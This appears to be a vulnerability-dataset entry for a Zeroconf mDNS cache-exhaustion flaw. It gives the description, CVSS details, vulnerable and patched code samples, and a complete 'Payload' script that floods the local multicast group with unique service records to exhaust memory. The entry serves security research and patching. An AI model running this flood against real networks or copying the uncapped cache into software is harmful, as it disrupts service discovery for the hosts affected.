VAITP Dataset

← Back to the dataset

CVE-2026-47184

Uncapped caching of mDNS responses in Zeroconf can lead to memory exhaustion.

  • CVSS 6.5
  • CWE-770
  • Resource Management
  • Remote

Zeroconf is a pure Python implementation of multicast DNS service discovery. Prior to 0.149.7, DNSCache._async_add inserted every response record into cache, _expirations, _expire_heap, and service_cache without a cap, allowing unauthenticated hosts on the local link over UDP/5353 (224.0.0.251 / ff02::fb) to multicast valid mDNS responses with unique names and cause memory exhaustion, slower cache lookups, slower async_expire passes, and broken discovery, registration, and ServiceBrowser callbacks. This issue is fixed in version 0.149.7.

CVSS base score
6.5
Published
2026-07-17
OWASP
A04 Insecure Design
Orthogonal defect classification
Algorithm
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
Zeroconf
Fixed by upgrading
Yes

Solution

Upgrade Zeroconf to version 0.149.7 or later.

Vulnerable code sample

import heapq
import time
from typing import Dict, List, Set, Tuple


# Dummy classes to represent DNSRecord types for a runnable example
class DNSRecord:
    def __init__(self, name: str):
        self.key = name.lower()
        self.name = name
        self.ttl = 60

    def is_expired(self, now: int) -> bool:
        # Simplified for example
        return self.get_expiration_time() <= now

    def get_expiration_time(self) -> int:
        # Simplified for example
        return int(time.time() * 1000) + self.ttl * 1000

    def __eq__(self, other):
        return isinstance(other, DNSRecord) and self.key == other.key

    def __hash__(self):
        return hash(self.key)


class DNSPointer(DNSRecord):
    def __init__(self, name: str, alias: str):
        super().__init__(name)
        self.alias = alias


class DNSService(DNSRecord):
    def __init__(self, name: str, alias: str):
        super().__init__(name)
        self.alias = alias


# Represents the vulnerable DNSCache class before the fix
class DNSCache:
    """A cache for DNS records."""

    def __init__(self) -> None:
        self.cache: Dict[str, DNSRecord] = {}
        self._expirations: Dict[str, int] = {}
        self._expire_heap: List[Tuple[int, str]] = []
        self.service_cache: Set[str] = set()

    def _async_remove(self, record: DNSRecord) -> None:
        """Removes a record from the cache."""
        if record.key in self.cache:
            del self.cache[record.key]
            del self._expirations[record.key]
            # Note: A real implementation would need to rebuild the heap or handle this more gracefully
            self._expire_heap = [(ts, key) for ts, key in self._expire_heap if key != record.key]
            heapq.heapify(self._expire_heap)
            if isinstance(record, (DNSPointer, DNSService)):
                if record.alias.lower() in self.service_cache:
                    self.service_cache.remove(record.alias.lower())

    def _async_add(self, record: DNSRecord) -> None:
        """
        VULNERABLE IMPLEMENTATION: Asynchronously adds a record to the cache without a size limit.
        """
        now = int(time.time() * 1000)
        if record.is_expired(now):
            return

        # Remove the old entry if it exists
        self._async_remove(record)

        # Add the new entry to all internal data structures without any cap
        self.cache[record.key] = record
        expiration = record.get_expiration_time()
        self._expirations[record.key] = expiration
        heapq.heappush(self._expire_heap, (expiration, record.key))

        # Add to service cache
        if isinstance(record, (DNSPointer, DNSService)):
            self.service_cache.add(record.alias.lower())

Patched code sample

import logging
from typing import Dict, Any

# Represents the default maximum size of the cache.
DNS_CACHE_MAX_SIZE = 10000

# Mock logger for demonstration purposes.
_LOGGER = logging.getLogger(__name__)


class DNSCache:
    """A simplified DNS cache demonstrating the CVE fix."""

    def __init__(self, max_size: int = DNS_CACHE_MAX_SIZE) -> None:
        """Initialize the cache with a maximum size."""
        self._cache: Dict[str, Any] = {}
        self.max_size = max_size

    def __len__(self) -> int:
        """Return the number of entries in the cache."""
        return len(self._cache)

    def _async_add(self, record: Any) -> None:
        """
        Add a record to the cache.

        This method contains the fix to prevent memory exhaustion by
        enforcing a maximum cache size.
        """
        # --- FIX STARTS HERE ---
        # The vulnerable version lacked this check. The fix introduces a guard
        # to ensure the cache does not grow indefinitely.
        if len(self) >= self.max_size:
            _LOGGER.warning(
                "DNS cache is full, max_size is %s, not adding %s",
                self.max_size,
                record,
            )
            # If the cache is full, do not add the new record and exit the method.
            return
        # --- FIX ENDS HERE ---

        # Original logic to add the record to the cache proceeds here only if
        # the cache is not full.
        key = str(getattr(record, 'name', '')).lower()
        if key:
            self._cache[key] = record

Payload

import socket
import time
import uuid
from zeroconf import ServiceInfo, DNSOutgoing

# Configuration for the malicious payload
MDNS_MULTICAST_ADDR = "224.0.0.251"
MDNS_PORT = 5353
SERVICE_TYPE = "_http._tcp.local."
# This can be any IP; it doesn't need to be real for the memory exhaustion to work.
FAKE_SERVICE_IP = "192.168.1.1"

def create_exploit_packet():
    """
    Creates a valid mDNS response packet with unique service and server names.
    This is the core of the exploit. Each packet contains a new, unique service
    that the vulnerable zeroconf instance will cache indefinitely.
    """
    unique_id = uuid.uuid4().hex[:12]
    instance_name = f"exhaust-{unique_id}"
    full_service_name = f"{instance_name}.{SERVICE_TYPE}"
    server_name = f"{instance_name}.local."

    # Use Zeroconf's own classes to build a valid ServiceInfo object.
    service_info = ServiceInfo(
        type_=SERVICE_TYPE,
        name=full_service_name,
        addresses=[socket.inet_aton(FAKE_SERVICE_IP)],
        port=80,
        server=server_name,
    )

    # Create an outgoing DNS response packet. Flag 0x8400 indicates a standard,
    # authoritative mDNS response.
    now = time.time()
    out = DNSOutgoing(0x8400)

    # Add all relevant records to the packet. The vulnerable cache will store
    # all of these, maximizing the memory consumed per packet.
    out.add_answer_at_time(service_info.dns_pointer_record(now), now)
    out.add_answer_at_time(service_info.dns_service_record(now), now)
    out.add_answer_at_time(service_info.dns_text_record(now), now)
    out.add_answer_at_time(service_info.dns_address_record(now), now)

    return out.packet()

def main():
    """
    Sets up a socket and sends a continuous stream of malicious mDNS packets
    to the local network's multicast address.
    """
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    print(f"[*] Sending malicious mDNS announcement packets to {MDNS_MULTICAST_ADDR}:{MDNS_PORT}")
    print("[*] Each packet advertises a new, unique service to exhaust victim's cache.")
    print("[*] Press Ctrl+C to stop.")

    try:
        count = 0
        while True:
            packet = create_exploit_packet()
            sock.sendto(packet, (MDNS_MULTICAST_ADDR, MDNS_PORT))
            count += 1
            # A minor delay to avoid flooding the sender's own network buffer instantly
            time.sleep(0.01)
            if count % 100 == 0:
                print(f"[*] {count} unique service packets sent...")

    except KeyboardInterrupt:
        print("\n[+] Attack stopped.")
    finally:
        sock.close()

if __name__ == "__main__":
    main()

Cite this entry

@misc{vaitp:cve202647184,
  title        = {{Uncapped caching of mDNS responses in Zeroconf can lead to memory exhaustion.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-47184},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-47184/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::